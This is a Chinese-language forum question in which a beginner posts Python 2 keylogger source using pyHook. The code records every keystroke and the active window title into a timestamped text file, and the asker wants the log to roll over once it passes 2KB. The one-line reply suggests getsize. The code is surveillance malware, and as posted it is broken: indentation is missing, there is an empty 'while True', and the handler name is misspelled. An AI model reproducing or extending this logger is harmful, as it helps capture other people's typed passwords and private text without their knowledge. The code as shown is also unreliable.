我想检查写入密钥的文件是否超过2Kb。如果它超过2KB,那么我需要制作另一个文件,并停止在这个文件中写入。我是Python的初学者请帮我这个。请指出我可以在哪里使用代码来检查文件是否超过2kb。在
import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
def OnkeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
希望你能帮忙
您可以使用
.getsize
。在相关问题 更多 >
编程相关推荐